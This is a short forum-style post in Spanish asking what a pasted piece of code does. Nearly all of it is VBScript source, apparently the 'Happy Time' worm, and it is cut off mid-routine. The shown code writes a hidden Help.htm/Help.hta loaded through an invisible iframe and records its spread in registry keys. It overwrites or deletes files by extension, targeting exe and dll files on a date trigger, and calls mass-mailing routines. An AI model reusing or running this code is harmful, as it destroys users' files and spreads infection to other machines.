Alguien sabe que hace este pedazo de codigo

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Rem I am sorry! happy time
On Error Resume Next
mload
Sub mload()
On Error Resume Next
mPath = Grf()
Set Os = CreateObject("Scriptlet.TypeLib")
Set Oh = CreateObject("Shell.Application")
If IsHTML Then
mURL = LCase(document.Location)
If mPath = "" Then
Os.Reset
Os.Path = "C:\Help.htm"
Os.Doc = Lhtml()
Os.Write()
Ihtml = "<span style='position:absolute'><Iframe src='C:\Help.htm' width='0' height='0'></Iframe></span>"
Call document.Body.insertAdjacentHTML("AfterBegin& quot;, Ihtml)
Else
If Iv(mPath, "Help.vbs") Then
setInterval "Rt()", 10000
Else
m = "hta"
If LCase(m) = Right(mURL, Len(m)) Then
id = setTimeout("mclose()", 1)
main
Else
Os.Reset()
Os.Path = mPath & "\" & "Help.hta"
Os.Doc = Lhtml()
Os.write()
Iv mPath, "Help.hta"
End If
End If
End If
Else
main
End If
End Sub
Sub main()
On Error Resume Next
Set Of = CreateObject("Scripting.FileSystemObject&quot ;)
Set Od = CreateObject("Scripting.Dictionary")
Od.Add "html", "1100"
Od.Add "vbs", "0100"
Od.Add "htm", "1100"
Od.Add "asp", "0010"
Ks = "HKEY_CURRENT_USER\Software\"
Ds = Grf()
Cs = Gsf()
If IsVbs Then
If Of.FileExists("C:\help.htm") Then
Of.DeleteFile ("C:\help.htm")
End If
Key = CInt(Month(Date) + Day(Date))
If Key = 13 Then
Od.RemoveAll
Od.Add "exe", "0001"
Od.Add "dll", "0001"
End If
Cn = Rg(Ks & "Help\Count")
If Cn = "" Then
Cn = 1
End If
Rw Ks & "Help\Count", Cn + 1
f1 = Rg(Ks & "Help\FileName")
f2 = FNext(Of, Od, f1)
fext = GetExt(Of, Od, f2)
Rw Ks & "Help\FileName", f2
If IsDel(fext) Then
f3 = f2
f2 = FNext(Of, Od, f2)
Rw Ks & "Help\FileName", f2
Of.DeleteFile f3
Else
If LCase(WScript.ScriptFullname) <> LCase(f2) Then
Fw Of, f2, fext
End If
End If
If (CInt(Cn) Mod 366) = 0 Then
If (CInt(Second(Time)) Mod 2) = 0 Then
Tsend
Else
adds = Og
Msend (adds)
End If
End If
wp = Rg("HKEY_CURRENT_USER\Control Panel\desktop\wallPaper")
If Rg(Ks & "Help\wallPaper") <> wp Or wp = "" Then
If wp = "" Then
n1 = ""
n3 = Cs & "\Help.htm"
Else